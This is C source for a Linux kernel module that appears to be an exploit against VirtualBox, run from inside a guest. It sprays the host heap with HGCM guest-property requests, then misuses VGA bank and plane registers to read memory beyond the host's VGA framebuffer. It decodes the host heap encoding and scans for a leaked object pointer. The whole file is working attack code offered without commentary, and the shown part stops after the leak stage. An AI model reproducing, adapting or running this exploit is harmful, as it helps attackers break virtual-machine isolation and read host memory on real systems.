#include<linux/module.h>
#include<linux/version.h>
#include<linux/kernel.h>
#include<linux/gfp.h>
#include<linux/slab.h>
#include<linux/delay.h>
#include<linux/printk.h>
#include<linux/device.h>
#include<linux/dma-mapping.h>
#include<asm/io.h>
#include "vmmdev.h"
MODULE_LICENSE("GPL");

#define DMA_ALLOC_SIZE 0x8000

static int vga_exp(void);
static int __init exp_init(void);
static void __exit exp_exit(void);
static inline int vga_set_bank_offset(unsigned);
static inline int vga_set_bank_offset_impl(unsigned);
static inline int vga_set_plane(unsigned);
static uint8_t oob_readb(unsigned);
static uint16_t oob_readw(unsigned);
static uint32_t oob_readl(unsigned);
static uint64_t oob_readq(unsigned);

static void spray(int);
static inline void vmm_dispatch(volatile void*);
static void hgcm_dispatch(volatile void*);
static uint32_t hgcm_connect(const char*, volatile VMMDevHGCMConnect*);
static void hgcm_call(uint32_t, uint32_t, uint32_t, HGCMFunctionParameter32*);

static unsigned bank_offset = 0x20000;
static uint64_t encoding = 0;

static struct device* dev;
static struct class* cls;

static volatile uint8_t* vga_addr;
static uint8_t* dma_buffer;
static uint32_t dma_offset = 0;
static dma_addr_t dma_handle;
static uint64_t dma_mask = DMA_BIT_MASK(32);
static inline uint32_t dma_addr_translate(void*);
static uint8_t* buffer_alloc(unsigned);

static int __init exp_init(void){
	cls = class_create("exp");
	dev = device_create(cls,NULL,MKDEV(1337,0),NULL,"exp");
	dev->dma_mask=&dma_mask;
	dma_set_mask_and_coherent(dev, DMA_BIT_MASK(32));

	vga_addr = ioremap(0xa0000,0x20000);
	if(!vga_addr){
		pr_err("ioremap_vga\n");
		goto err_exit;
	}

	dma_buffer = dma_alloc_coherent(dev, DMA_ALLOC_SIZE, &dma_handle, GFP_KERNEL);
	if(!dma_buffer){
		pr_err("dma_alloc_coherent\n");
		goto dma_clean;
	}
	if(((uint64_t)dma_handle) >> 32){
		pr_err("dma_handle too large: %llx\n",(uint64_t)dma_handle);
		goto dma_clean;
	}
	memset(dma_buffer, 0, DMA_ALLOC_SIZE);
	
	
	spray(10240);
	pr_info("spray done!\n");
	msleep(3000);
	return vga_exp();

dma_clean:
vga_clean:
	iounmap(vga_addr);
err_exit:
	return -1;
	
}
module_init(exp_init);

static void __exit exp_exit(void){
	iounmap(vga_addr);
	device_destroy(cls, MKDEV(1337,0));
	class_destroy(cls);
}
module_exit(exp_exit);

static uint8_t* buffer_alloc(unsigned size){
	uint8_t* ret;
	ret = dma_buffer+dma_offset;
	dma_offset += size;
	if(dma_offset>DMA_ALLOC_SIZE){
		pr_err("dma: oom\n");
		return NULL;
	}
	return ret;
}

static void spray(int count){
	int i,j;
	uint32_t client_id;
	volatile VMMDevHGCMConnect* req = (volatile VMMDevHGCMConnect*) buffer_alloc(sizeof(VMMDevHGCMConnect));
	char* pattern = buffer_alloc(0x70);
	memset(pattern, 'a', 0x70);
	char* out = buffer_alloc(4);
	memset(out, 'a',4);
	req->header.header.size = sizeof(*req);
	req->header.header.version = VMMDEV_REQUEST_HEADER_VERSION;
	req->header.header.requestType = VMMDevReq_HGCMConnect;
	req->header.header.rc = 0;
	req->header.fu32Flags = 0;
	req->header.result = 0;
	req->loc.type = VMMDevHGCMLoc_LocalHost_Existing;
	strcpy((char*)req->loc.u.host.achName, "VBoxGuestPropSvc");
	req->u32ClientID = 1337;

	HGCMFunctionParameter32 params[4];
	params[0].type = VMMDevHGCMParmType_LinAddr_In;
	params[0].u.Pointer.u.linearAddr = (RTGCPTR32)pattern;
	params[0].u.Pointer.size = 0x70;
	params[1].type = VMMDevHGCMParmType_64bit;
	params[2].type = VMMDevHGCMParmType_LinAddr_Out;
	params[2].u.Pointer.u.linearAddr = (RTGCPTR32)out;
	params[2].u.Pointer.size = 4;
	params[3].type = VMMDevHGCMParmType_32bit;
	
	for (i=0; i<count; i++) {
		req->u32ClientID++;
		if(i%128==0){
			pr_info("sprayed %u times\n",i);
		}
		client_id = hgcm_connect("VBoxGuestPropSvc", req);
		//req->u32ClientID++;
		for (j=0; j<15; j++){
			hgcm_call(client_id, GUEST_PROP_FN_GET_NOTIFICATION, 4, params);

		}
	}
}

static uint32_t hgcm_connect(const char* svc, volatile VMMDevHGCMConnect* req){
	hgcm_dispatch(req);
	return req->u32ClientID;
}

static inline uint32_t dma_addr_translate(void* addr){
	return (uint32_t)(dma_handle+(((uint8_t*)addr)-dma_buffer));
}

static inline void vmm_dispatch(volatile void* req){
	outl(dma_addr_translate(req), 0xd040);
}

static void hgcm_dispatch(volatile void* req){
	vmm_dispatch(req);
	volatile VMMDevHGCMRequestHeader* header;
	header = (volatile VMMDevHGCMRequestHeader*)req;
	int32_t rc = header->header.rc;
	if (rc == VINF_HGCM_ASYNC_EXECUTE) {
		while (!(header->fu32Flags & VBOX_HGCM_REQ_DONE)) {
			//read_req();
		}
	}
	else {
		pr_err("hgcm_dispatch fails with rc %d\n", rc);
	}
}

static void hgcm_call(uint32_t client, uint32_t func, uint32_t cParms, HGCMFunctionParameter32* params){
	uint32_t size;
	size = sizeof(VMMDevHGCMCall)+cParms*sizeof(params[0]);
	volatile VMMDevHGCMCall* req = (volatile VMMDevHGCMCall*)buffer_alloc(size);
	req->header.header.size = sizeof(*req) + cParms * sizeof(params[0]);
	/*req->header.header.size = 0x408;*/
	req->header.header.version = VMMDEV_REQUEST_HEADER_VERSION;
	req->header.header.requestType = VMMDevReq_HGCMCall32;
	req->header.header.rc = 0;
	req->header.fu32Flags = 0;
	req->header.result = 0;
	req->u32ClientID = client;
	req->u32Function = func;
	req->cParms = cParms;
	//assert(sizeof(VMMDevHGCMCall32) == 0x2c);
	//assert(sizeof(HGCMFunctionParameter32) == 12);
	memcpy((void*)(req+1), params, sizeof(params[0]) * cParms);
	vmm_dispatch(req);
	dma_offset -= size; // too lazy to implement buffer_free :)
}

static inline int vga_set_bank_offset(unsigned offset){
	if(offset%0x10000!=0 || offset>=0x80000){
		pr_err("invalid bank offset %u\n", offset);
		return -1;
	}
	if (offset == bank_offset)
		return 0;
	return vga_set_bank_offset_impl(offset);
}

static inline int vga_set_bank_offset_impl(unsigned offset){
	outw(5, 0x1ce);
	outw(offset/0x10000, 0x1cf);
	bank_offset = offset;
	return 0;
}

static inline int vga_set_plane(unsigned plane){
	if(plane>3){
		pr_err("invalid plane %u\n", plane);
		return -1;
	}
	//gr[4]=plane
	outb(4, 0x3ce);
	outb(plane, 0x3cf);
	return 0;
}

static int vga_exp(void){
	volatile uint8_t* addr;
	uint64_t data;
	unsigned i;
	uint32_t size,off,lfhoff, guardpage;
	uint8_t busy;

	addr = vga_addr;

	//sr[4]=4
	outb(4, 0x3c4);
	outb(4, 0x3c5);
	
	//gr[5]=0, read mode 0
	outb(5, 0x3ce);
	outb(0, 0x3cf);
	
	vga_set_plane(0);

	//gr[6]=4, memory_map_mode=1
	outb(6, 0x3ce);
	outb(4, 0x3cf);

	vga_set_bank_offset_impl(0x20000);

	data = oob_readq(0x80008);
	encoding |= (0x800100000000ull^data) & 0xffff00000000ull;
	
	//just guess the block after pbVgaFrameBufferR3 is busy
	busy = (data>>16) & 1;

	for(off = 0x10; off<=0x100000; off+=0x10){
		data = oob_readq(0x80008+off) ^ encoding;
		if(((data>>32)&0xffff)==(off>>4)){
			encoding |= (oob_readq(0x80008)&0xffff)^(off>>4);
			pr_info("encoding = %llx\n", encoding);
			break;
		}
	}
	

	for(off = 8; off<0x180000; off+=size){
		mdelay(500);
		data = oob_readq(0x80000+off) ^ encoding;
		size = (data & 0xffff)<<4;
		pr_info("Found heap block with size %x\n", size);
		if (size == 0)
			break;
		if (((data>>16)&1) != busy){
			pr_info("Block is not busy\n");
			continue;
		}
		if (oob_readl(0x80000+off+0x18+4)==0xf0e0d0c0u){
			guardpage=oob_readb(0x80000+off+0x18+1)*0x1000;
			pr_info("Userblock with size %x found at offset %x; guardpage=%x\n", size, off-8, guardpage);
				
			for(lfhoff = 0x80000+off+8+0x50; lfhoff < 0x80000+off-8+size-guardpage; lfhoff+=0x80){
				//pr_info("lfhoff=%x; *lfhoff=%llx\n",lfhoff,oob_readq(lfhoff));
				if(oob_readb(lfhoff)==0xc0){
					if(oob_readb(lfhoff+1)==0xae && oob_readb(lfhoff+5)==0x7f){
						pr_info("Found leaked object %llx at offset %x\n",oob_readq(lfhoff), lfhoff-0x80000);
						goto found;
					}
				}
			}

		}

	}


	return 0;

found:

	return 0;
}

static uint8_t oob_readb(unsigned off){
	unsigned index;
	index = off / 4;
	vga_set_plane(off % 4);
	vga_set_bank_offset(index & ~0xffffu);
	index -= bank_offset;
	return vga_addr[index];
}

static uint16_t oob_readw(unsigned off){
	if (off%2!=0){
		pr_err("misaligned off for obb_readw\n");
		return 0;
	}
	return (((uint16_t)oob_readb(off+1))<<8)+oob_readb(off);
}

static uint32_t oob_readl(unsigned off){
	if (off%4!=0){
		pr_err("misaligned off for obb_readl\n");
		return 0;
	}
	return (((uint32_t)oob_readb(off+3))<<24)+(((uint32_t)oob_readb(off+2))<<16)+(((uint32_t)oob_readb(off+1))<<8)+oob_readb(off);
}

static uint64_t oob_readq(unsigned off){
	if (off%8!=0){
		pr_err("misaligned off for obb_readq\n");
		return 0;
	}
	return (((uint64_t)oob_readb(off+7))<<56)+(((uint64_t)oob_readb(off+6))<<48)+(((uint64_t)oob_readb(off+5))<<40)+(((uint64_t)oob_readb(off+4))<<32)+(((uint64_t)oob_readb(off+3))<<24)+(((uint64_t)oob_readb(off+2))<<16)+(((uint64_t)oob_readb(off+1))<<8)+oob_readb(off);
}